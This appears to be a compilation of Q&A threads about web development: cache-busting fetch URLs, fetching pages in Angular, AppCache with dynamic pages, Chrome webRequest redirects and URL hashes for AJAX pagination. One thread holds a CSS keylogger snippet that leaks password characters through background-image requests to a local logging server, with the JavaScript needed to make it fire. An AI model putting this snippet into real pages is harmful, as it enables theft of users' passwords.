I'm using dangerouslySetInnerHTML method to load a dynamic html from server. The issue I'm running into is, the file is getting cached and reloading the file doesn't show the changes made to it.
Is there any react method beside using <meta> tag to prevent caching only the loaded html?
A simple way to solve this is to add a parameter to the URL you are fetching the html from. Something like:
const data = fetch('https://example.com/myapi/foobar?' + Date.now(), {...});
or with template literals if you prefer:
const data = fetch(`https://example.com/myapi/foobar?${Date.now()}`, {...});
This will concatenate the current unix timestamp to your url effectively making it always unique which will prevent browsers from caching it.
Related
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
inp.setAttribute('value', inp.value)
});
Is what I've found but I don't think it works. How do I do it?
Edit: I realised that the CSS snippet won't work as typing in the input field will not change the value attribute of the html element. A JavaScript function is required to do this. Hence, include the last 3 lines of your snippet in a script tag and then it should work.
The CSS Keylogger was originally a thought experiment as explained in this LiveOverflow video. The snippet you are using is assuming that http://localhost:3000/ is a malicious Web server which records your HTTP requests.
In this case entering "a" on the keyboard (in the input field) would send a request to http://localhost:3000/a (for fetching the background image) which you may intercept as "a" on the Web server. You may write a NodeJS or Python Web server to intercept these requests and get the keystrokes.
I am new in Angular
What I am going to try is to get the HTML of a page and reproduce it into an iFrame (it is an exercise).
I am using the following piece of code:
var prova = this._http.get(myUrl, {responseType: "text"}).subscribe((x) =>{
console.log(x);
});
I did it on a website (if is needed I can also insert the name of the pages) and it returns the html only of some pages.
In the other case the string x is empty.
Could it depend on connection?
Or there is some way to wait the end of the get request?
Or simply is wrong my approach and I should make a different type of request?
Your most likely going to need to use a library like puppeteer if you want to render a page properly. Puppeteer is a node library and useless headless chrome so I am not sure how well you could really integrate with Angular.
https://github.com/GoogleChrome/puppeteer
I am trying to use HTML5 Appcache to speed up my web-mobile app by caching images and css/JS files. The app is based on dynamic web pages.
As already known – when using Appcache the calling html page is always cached -> bad for dynamic websites.
My solution - Create a first static page and in this page call the manifest file (manifest="cache.appcache") and load all my cached content. Then when the user is redirected to another dynamic page the resources will already be available. (Of course this second dynamic page will not have the manifest tag).
The problem is that if the second page is refreshed by the user, the resources are not loaded from the cache; they are loaded directly from the server!
This solution is very similar to using an Iframe on the first dynamic file. I found that the Iframe solution have the exact same problem.
Is there any solution for that? Can Appcache really be used with dynamic content?
Thanks
Yes appcache can be used for dynamic content if you handle you url parameters differently.
I solved this by using local storage (I used the jquery localstorage plugin to help with this).
The process is
Internally from the page when you would normally href from an anchor or redirect, instead call a function to redirects for you. This function stores the parameters from the url to localstorage, and then only redirects to the url without the parameters.
On the receiving target page. Get the parameters from localstorage.
Redirect code
function redirectTo(url) {
if (url.indexOf('?') === -1) {
document.location = url;
} else {
var params = url.split('?')[1];
$.localStorage.set("pageparams", params);
document.location = url.split('?')[0];
};
}
Target page code
var myParams = GetPageParamsAsJson();
var page = myParams.page;
function GetPageParamsAsJson() {
return convertUrlParamsToJson($.localStorage.get('pageparams'));
}
function convertUrlParamsToJson(params) {
if (params) {
var json = '{"' + decodeURI(params).replace(/"/g, '\\"').replace(/&/g, '","').replace(/=/g, '":"') + '"}';
return JSON.parse(json);
}
return [];
}
I had a hell of a time figuring out how to cache dynamic pages accessed by a URI scheme like this:
domain.com/admin/page/1
domain.com/admin/page/2
domain.com/admin/page/3
Now the problem is that the appcache won't cache each individual admin/page/... unless you visit it.
What I did was use the offline page to represent these pages that you may want to allow a user to access offline.
The JS in the offline page looks up the URI and scrapes it to find out which page it should show and fetches the data from localStorage which was populated with all the page data when the user visited the admin dashboard before being presented with the links to each individual page.
I'm open to other solutions but this is all I could figure out to bring a bunch of separate pages offline with only visiting the single admin page.
i wonder if there is some way to do something like that:
If im on a specific site i want that some of javascript files to be loaded directly from my computer (f.e. file:///c:/test.js), not from the server.
For that i was thinking if there is a possibility to make an extension which could change HTML code in a response which browser gets right before displaying it. So whole process should look like that:
request is made
browser gets response from server
#response is changed# - this is the part when extension comes in
browser parse changed response and display page with that new response.
It doesnt even have to be a Chrome extension anyway. It should just do the job described above. It can block original file and serve another one (DNS/proxy?) or filter whole HTTP traffic in my computer and replace specific code to another one of matched response.
You can use the WebRequest API to achieve that. For example, you can add a onBeforeRequest listener and redirect some requests:
chrome.webRequest.onBeforeRequest.addListener(function(details)
{
var responseData = "<div>Some text</div>"
return {redirectUrl: "data:text/html," + encodeURIComponent(responseData)};
}, {urls: ["https://www.google.com/"]}, ["blocking"]);
This will display a <div> element with the text "some text" instead of the Google homepage. Note that you can only redirect to URLs that the web server itself is allowed to redirect to. This means that redirecting to file:/// URLs is not possible, and you can only redirect to files inside your extension if these are web accessible. data: and http: URLs work fine however.
In Windows you can use the Proxomitron (proxomitron.info) which is a local proxy that can intercept any page or file being loading into your browser and change it using regular expressions (no DOM parsing) however you want, before it is rendered by the browser.
I'm paginating a list of items, and currently the page listed on page load is set by a GET variable (e.g. www.example.com/page.html?page=2). I want to switch it to ajax, but I'm worried users won't be able to bookmark the page they want to view.
Is there a way I can update the URL without redirecting the page?
Use hash
Your website is www.example.com/page.html
Part I.
When you load page two using ajax add a hash to the url
www.example.com/page.html#page2
You can do that using javascript
window.location.hash = "page2".
Now users can bookmark www.example.com/page.html#page2
part II.
When a user request a page say, www.example.com/page.html#page2
You can read the hash using javascript.
var myHash = window.location.hash
If myHash is empty load the page normally.
If it contains "page2", then load the content of page2.
Yes, with a hash in the url. You can learn more here.
You can also find a nice jquery plugin for that purpose here.
Regards